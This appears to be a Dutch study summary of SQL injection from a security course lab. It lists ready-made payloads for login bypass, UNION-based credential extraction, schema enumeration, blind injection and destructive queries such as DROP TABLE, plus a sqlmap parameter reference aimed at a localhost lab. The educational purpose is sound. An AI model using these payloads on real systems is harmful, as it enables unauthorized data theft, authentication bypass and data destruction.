Skip to main content
In dit onderdeel ging het over input die in SQL-queries terechtkomt. De belangrijkste gevolgen waren data uitlezen, loginlogica manipuleren en database-informatie enumereren.

PortSwigger SQLi cheat sheet

Volledige payload-referentie per database-type.

In een oogopslag

TechniekPayload (basis)
Detecteren' -> error? ; OR 1=1 vs OR 1=2
Login bypass' OR 1=1 -- of 'administrator' --
Hidden data' OR 1=1 -- in filter/param
UNION attack' UNION SELECT username,password FROM users --
DB onderzoekenversie + information_schema
Data wijzigen'; UPDATE ... -- ; '; DROP TABLE ... --
BlindAND 1=1 vs AND 1=2
SQLmapsqlmap -u "...?id=1" --dbs

Technieken in detail

  • Voeg een enkele quote ' (of ;) toe -> SQL-error = mogelijk kwetsbaar
  • Boolean-test: OR 1=1 (true) vs OR 1=2 (false) -> verschil = kwetsbaar
  • String vs numeric: string zit tussen '...' (uitbreken met '); numeric (?id=10) -> 10 AND 1=2
  • -- (met spatie!), /* */ of # becommentarieert de rest weg
Query: ... WHERE user='$u' AND password='$p'
  • In het username-veld: ' OR 1=1 -- -> password-check wordt comment
  • Gericht: administrator' -- of ' OR 1=1 LIMIT 1 --
  • Dubbele quotes: " OR "1"="1
Resultaten van een tweede query aan de output plakken. Zelfde aantal kolommen + compatibele types.
1

Aantal kolommen

' ORDER BY 1 -- , 2 -- , … tot een error. Of ' UNION SELECT NULL,NULL -- tot geen error.
2

String-kolom vinden

' UNION SELECT 'a',NULL,NULL -- -> schuif 'a' door tot ze zonder type-error toont.
3

Data ophalen

' UNION SELECT username,password FROM users -- Alles in 1 kolom: ' UNION SELECT NULL,username||'~'||password FROM users --
  • Versie: ' UNION SELECT @@version -- (MySQL/MSSQL) ; version() (Postgres) ; v$version (Oracle)
  • Tabellen: ' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='db' --
  • Kolommen: ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users' --
  • Update: '; UPDATE users SET password='123' WHERE username='Admin' --
  • Insert: '; INSERT INTO users (username,password) VALUES ('koenK','123') --
  • Drop: '; DROP TABLE access_log --
Geen data/error zichtbaar, alleen true/false-verschil.
  • Boolean: ... id=1 AND 1=1 (normaal) vs id=1 AND 1=2 (anders/leeg)
  • Char per char: ' OR substring(database(),1,1)='b' -- , ' OR length(database())=5 --
  • Traag -> automatiseer met SQLmap
  • NoSQL (MongoDB): injecteer logica -> ' || true || ' retourneert alle records
  • Second-order: input wordt veilig opgeslagen maar later onveilig hergebruikt

Inputlocaties en encoding

De SQL-logica is overal identiek. Wat verschilt: encoding en gereedschap.
Bij POST-velden werd de payload raw ingevoerd. De browser encodeert de request daarna zelf:
' OR 1=1 -- 
Valkuil: maxlength / type=number / JS-validatie -> onderschep met Burp.

SQLmap

sqlmap -u "http://localhost/4.php?id=1" --dbs                      # databases
sqlmap -u "http://localhost/4.php?id=1" -D labSQLi --tables        # tabellen
sqlmap -u "http://localhost/4.php?id=1" -D labSQLi -T users --columns
sqlmap -u "http://localhost/4.php?id=1" --dump -D labSQLi -T users # data
VectorSQLmap-aanpak
URL / GETsqlmap -u "...?id=1" (-p id om param te kiezen)
POST-body--data="user=x&pass=y"
Volledige requestonderschep in Burp -> Copy to file -> sqlmap -r request.txt
Cookie / login--cookie="PHPSESSID=...;security_level=0"
Headers/cookies met SQLmap--level 2 (cookies), --level 3 (User-Agent/Referer)
Eigen injectiepuntzet een * op die plek in -r of --data

Handige SQLmap parameters

ParameterWat doet het?Handig wanneer
-u "URL"Doel-URL met parameter.Snelle GET-test zoals ?id=1.
-r request.txtLaadt een volledige HTTP-request.Burp-request exact herhalen, inclusief headers en cookies.
-p idTest alleen die parameter.SQLmap test anders te breed of mist de juiste plek.
--data="a=1&b=2"Stuurt POST-data mee.Loginforms, filters en API-endpoints.
--cookie="PHPSESSID=..."Stuurt cookies mee.Authenticated SQLi testen.
--headers="X-Test: 1"Stuurt extra headers mee.Custom headers of API headers nodig.
--level 2 / --level 3Test meer plaatsen zoals cookies en headers.Injectie zit niet in een gewone URL-param.
--risk 2 / --risk 3Laat riskantere tests toe.Meer payloads nodig, maar pas op bij data-wijzigende tests.
--batchBeantwoordt vragen automatisch.Snelle runs zonder interactieve prompts.
--dbsEnumereert databases.Eerste database-overzicht.
-D naam --tablesToont tabellen in database.Na --dbs verder graven.
-D naam -T tabel --columnsToont kolommen in tabel.Voor gericht dumpen.
-D naam -T tabel -C col1,col2 --dumpDumpt gekozen kolommen.Alleen nuttige data ophalen.
--current-dbToont huidige database.Snel weten waar de app op zit.
--current-userToont database-user.Rechten en context begrijpen.
--technique=UBeperkt tot een techniek, bv. UNION.Als je al weet welke techniek werkt.
--proxy=http://127.0.0.1:8080Stuurt SQLmap via Burp.Payloads en responses live volgen.
--random-agentWisselt User-Agent.Eenvoudige blocks of filtering omzeilen.
--flush-sessionVergeet oude SQLmap-resultaten.Na codewijziging of foutieve detectie opnieuw testen.
Voor een Burp-request is dit meestal de properste start:
sqlmap -r request.txt -p id --batch --current-db
Soms is de tabel-/kolomnaam zelf de key. Daarom waren --tables en --columns belangrijk in de SQLmap-notities. --batch slaat interactieve vragen over.

Tools

SQLmap

Tool voor detectie, database-enumeratie en dumps.

Burp Suite

Handig om volledige requests te bewaren voor sqlmap -r.

Browser DevTools

Referentie voor errors, request parameters en responseverschillen.

PortSwigger SQLi cheat sheet

Payloads per database-type en aanvalsvorm.